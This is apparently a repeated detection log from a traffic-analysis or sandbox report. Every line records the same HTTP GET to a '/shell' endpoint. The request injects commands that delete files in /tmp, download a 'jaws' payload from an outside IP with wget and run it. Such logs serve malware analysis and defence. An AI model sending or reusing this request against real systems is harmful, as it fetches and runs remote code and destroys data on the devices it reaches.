      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
      Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
